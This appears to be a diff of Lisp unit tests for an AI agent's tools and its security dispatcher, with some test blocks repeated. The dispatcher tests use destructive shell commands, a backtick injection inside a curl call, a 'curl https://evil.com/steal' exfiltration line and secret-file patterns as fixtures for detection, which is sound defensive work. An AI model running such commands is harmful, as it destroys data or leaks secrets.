(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src* v0.8.0 — Modified Files Tracking
|
||||
#+begin_src lisp
|
||||
(defvar *modified-files-this-turn* nil
|
||||
"List of plists recording file modifications in the current turn.")
|
||||
|
||||
(defun tool-register-modified (filepath &key old-content new-content)
|
||||
"Record a file modification. Returns the record plist."
|
||||
(labels ((count-lines (s)
|
||||
(+ (count #\Newline s)
|
||||
;; Also count escaped \\n in string literals (used in tests)
|
||||
(let ((n 0) (i 0))
|
||||
(loop while (setf i (search "\\n" s :start2 i))
|
||||
do (incf n) (incf i))
|
||||
n))))
|
||||
(let* ((lines-added (if (and new-content old-content)
|
||||
(max 0 (- (count-lines new-content)
|
||||
(count-lines old-content)))
|
||||
0))
|
||||
(lines-removed (if (and new-content old-content)
|
||||
(max 0 (- (count-lines old-content)
|
||||
(count-lines new-content)))
|
||||
0))
|
||||
(rec (list :filepath filepath
|
||||
:timestamp (get-universal-time)
|
||||
:lines-added lines-added
|
||||
:lines-removed lines-removed)))
|
||||
(push rec *modified-files-this-turn*)
|
||||
rec)))
|
||||
|
||||
(defun tool-modified-files-summary ()
|
||||
"Returns the list of modified-file records and clears the list."
|
||||
(prog1 (nreverse *modified-files-this-turn*)
|
||||
(setf *modified-files-this-turn* nil)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-tools-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:programming-tools-suite))
|
||||
|
||||
(in-package :passepartout-programming-tools-tests)
|
||||
|
||||
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
|
||||
(in-suite programming-tools-suite)
|
||||
|
||||
(defun tools-tmpdir ()
|
||||
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
|
||||
(uiop:ensure-all-directories-exist (list d))
|
||||
d))
|
||||
|
||||
(defun tools-cleanup ()
|
||||
(let ((d (tools-tmpdir)))
|
||||
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
|
||||
|
||||
(defun tools-write-file (filepath content)
|
||||
(uiop:ensure-all-directories-exist (list filepath))
|
||||
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(write-string content stream)))
|
||||
|
||||
(defun call-tool (tool-name &rest args)
|
||||
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
|
||||
(unless tool (error "Tool ~a not found" tool-name))
|
||||
(funcall (cognitive-tool-body tool) args)))
|
||||
|
||||
;; search-files
|
||||
(test test-search-files-finds-matches
|
||||
"Contract 1: search-files finds lines matching a regex pattern."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file-a (merge-pathnames "src-a.lisp" dir))
|
||||
(file-b (merge-pathnames "src-b.lisp" dir)))
|
||||
(tools-write-file file-a "(defun foo () 'hello)")
|
||||
(tools-write-file file-b "(defun bar () 'world)")
|
||||
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "src-a.lisp:1:" (getf result :content)))
|
||||
(is (search "src-b.lisp:1:" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-search-files-missing-params
|
||||
"search-files returns error when required params are missing."
|
||||
(let ((result (call-tool 'search-files :pattern "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; find-files
|
||||
(test test-find-files-by-extension
|
||||
"Contract 5: find-files returns files matching a glob."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
|
||||
(tools-write-file (merge-pathnames "c.org" dir) "test")
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "a.lisp" (getf result :content)))
|
||||
(is (search "b.lisp" (getf result :content)))
|
||||
(is (not (search "c.org" (getf result :content)))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-find-files-missing-params
|
||||
"find-files returns error without required params."
|
||||
(let ((result (call-tool 'find-files :pattern "*.lisp")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; read-file
|
||||
(test test-read-file-full
|
||||
"Contract 6: read-file returns full file contents."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "readme.txt" dir)))
|
||||
(tools-write-file file (format nil "line one~%line two~%line three"))
|
||||
(let ((result (call-tool 'read-file :filepath (namestring file))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "line one" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-read-file-missing-params
|
||||
"read-file returns error without :filepath."
|
||||
(let ((result (call-tool 'read-file)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; write-file
|
||||
(test test-write-file-creates
|
||||
"Contract 7: write-file creates file with content."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "output.txt" dir)))
|
||||
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "11 bytes" (getf result :content))))
|
||||
(is (string-equal "hello world" (uiop:read-file-string file)))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-write-file-missing-params
|
||||
"write-file returns error without required params."
|
||||
(let ((result (call-tool 'write-file :content "x")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; list-directory
|
||||
(test test-list-directory-all
|
||||
"Contract 8: list-directory returns all entries."
|
||||
(let ((dir (tools-tmpdir)))
|
||||
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
|
||||
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
|
||||
(let ((result (call-tool 'list-directory :path (namestring dir))))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "alpha.txt" (getf result :content)))
|
||||
(is (search "beta.txt" (getf result :content))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-list-directory-missing-params
|
||||
"list-directory returns error without :path."
|
||||
(let ((result (call-tool 'list-directory)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; run-shell
|
||||
(test test-run-shell-echo
|
||||
"Contract 9: run-shell executes a command and returns output."
|
||||
(let ((result (call-tool 'run-shell :cmd "echo hello")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "hello" (getf result :content)))))
|
||||
|
||||
(test test-run-shell-missing-params
|
||||
"run-shell returns error without :cmd."
|
||||
(let ((result (call-tool 'run-shell)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; eval-form
|
||||
(test test-eval-form-arithmetic
|
||||
"Contract 10: eval-form evaluates a Lisp expression."
|
||||
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "3" (getf result :content)))))
|
||||
|
||||
(test test-eval-form-missing-params
|
||||
"eval-form returns error without :code."
|
||||
(let ((result (call-tool 'eval-form)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
;; org-modify-file
|
||||
(test test-org-modify-file-replace
|
||||
"Contract 13: org-modify-file replaces exact text in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "doc.org" dir)))
|
||||
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "TODO" :new-text "WAITING")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (search "WAITING" (uiop:read-file-string file))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-not-found
|
||||
"org-modify-file returns error when text not in file."
|
||||
(let* ((dir (tools-tmpdir))
|
||||
(file (merge-pathnames "file.org" dir)))
|
||||
(tools-write-file file "some content")
|
||||
(let ((result (call-tool 'org-modify-file
|
||||
:filepath (namestring file)
|
||||
:old-text "not-in-file" :new-text "anything")))
|
||||
(is (eq (getf result :status) :error))
|
||||
(is (search "not found" (getf result :message))))
|
||||
(tools-cleanup)))
|
||||
|
||||
(test test-org-modify-file-missing-params
|
||||
"org-modify-file returns error without required params."
|
||||
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
|
||||
(is (eq (getf result :status) :error))))
|
||||
#+end_src* v0.8.0 — Modified Files Tracking
|
||||
#+begin_src lisp
|
||||
(defvar *modified-files-this-turn* nil
|
||||
"List of plists recording file modifications in the current turn.")
|
||||
|
||||
|
||||
@@ -1,189 +1,3 @@
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
"v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@personal" . :block)))
|
||||
(is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))
|
||||
|
||||
(test test-privacy-severity-warn
|
||||
"v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
|
||||
(setf passepartout::*tag-categories* '(("@draft" . :warn)))
|
||||
(is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))
|
||||
|
||||
(test test-privacy-severity-nil
|
||||
"v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
|
||||
(setf passepartout::*tag-categories* nil)
|
||||
(is (null (passepartout::dispatcher-privacy-severity '("public")))))
|
||||
|
||||
(test test-tag-trigger-record
|
||||
"v0.7.2: tag-trigger-record increments per-tag count."
|
||||
(clrhash passepartout::*tag-trigger-count*)
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@personal")
|
||||
(passepartout::tag-trigger-record "@draft")
|
||||
(is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
|
||||
(is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
|
||||
(clrhash passepartout::*tag-trigger-count*))
|
||||
|
||||
(test test-tag-categories-privacy-fallback
|
||||
"v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
|
||||
(let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
|
||||
(saved-tag (uiop:getenv "TAG_CATEGORIES"))
|
||||
(saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
|
||||
(sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
|
||||
(sb-posix:unsetenv "TAG_CATEGORIES")
|
||||
(passepartout::tag-categories-load)
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :block (passepartout::tag-category-severity "@draft")))
|
||||
;; Restore
|
||||
(when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
|
||||
(when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
|
||||
(passepartout::tag-categories-load)))
|
||||
|
||||
(test test-safe-tool-read-only-auto-approve
|
||||
"Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
|
||||
(setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "test-ro-tool"
|
||||
:description "Read-only test"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p t))
|
||||
(unwind-protect
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type)))
|
||||
(is (not (member (getf result :type) '(:LOG :approval-required)))))
|
||||
(remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))
|
||||
|
||||
(test test-safe-tool-write-still-checked
|
||||
"Contract v0.7.2: write tools still go through full dispatcher check."
|
||||
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
|
||||
(passepartout::make-cognitive-tool :name "write-file"
|
||||
:description "File writer"
|
||||
:parameters nil
|
||||
:guard nil
|
||||
:body nil
|
||||
:read-only-p nil))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let* ((action '(:TYPE :REQUEST :TARGET :tool
|
||||
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
|
||||
(result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (search "HITL" (getf (getf result :payload) :message)))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
|
||||
(if orig-tool
|
||||
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
|
||||
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *dispatcher-network-whitelist*
|
||||
@@ -711,6 +525,408 @@ Recognized formats:
|
||||
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
|
||||
(list :total total :by-gate sorted)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-self-build-core-protection
|
||||
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
||||
;; Core paths are recognized
|
||||
(is (passepartout::dispatcher-check-core-path "core-reason.org"))
|
||||
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
||||
(is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
|
||||
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
||||
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
||||
;; With SELF_BUILD_MODE=false (default), writes pass through
|
||||
(let ((result (dispatcher-check action nil)))
|
||||
(is (eq :REQUEST (getf result :type))))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-shell-safety-severity-catastrophic
|
||||
"Contract 3/v0.4.3: destructive commands return :catastrophic severity."
|
||||
(let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
|
||||
(is (eq :catastrophic (getf r1 :severity)))
|
||||
(is (eq :catastrophic (getf r2 :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-dangerous
|
||||
"Contract 3/v0.4.3: injection patterns return :dangerous severity."
|
||||
(let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
|
||||
(is (eq :dangerous (getf result :severity)))))
|
||||
|
||||
(test test-shell-safety-severity-safe
|
||||
"Contract 3/v0.4.3: harmless commands return nil."
|
||||
(is (null (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (null (dispatcher-check-shell-safety "ls -la /tmp")))
|
||||
(is (null (dispatcher-check-shell-safety "cat file.txt"))))
|
||||
|
||||
(test test-dispatcher-severity-max
|
||||
"dispatcher-severity-max returns the higher tier."
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
|
||||
(is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
|
||||
(is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
|
||||
(is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
;; ── v0.7.2 Tag Stack ──
|
||||
|
||||
(test test-tag-categories-load
|
||||
"Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
|
||||
(setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
|
||||
(passepartout::tag-categories-load)
|
||||
(let ((cats passepartout::*tag-categories*))
|
||||
(is (>= (length cats) 1))
|
||||
(is (eq :block (passepartout::tag-category-severity "@personal")))
|
||||
(is (eq :warn (passepartout::tag-category-severity "@draft")))
|
||||
(is (eq :log (passepartout::tag-category-severity "@review"))))
|
||||
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
|
||||
|
||||
(test test-tag-category-severity-unknown
|
||||
"Contract v0.7.2: unknown tag returns nil."
|
||||
(is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))
|
||||
|
||||
(test test-privacy-severity-block
|
||||
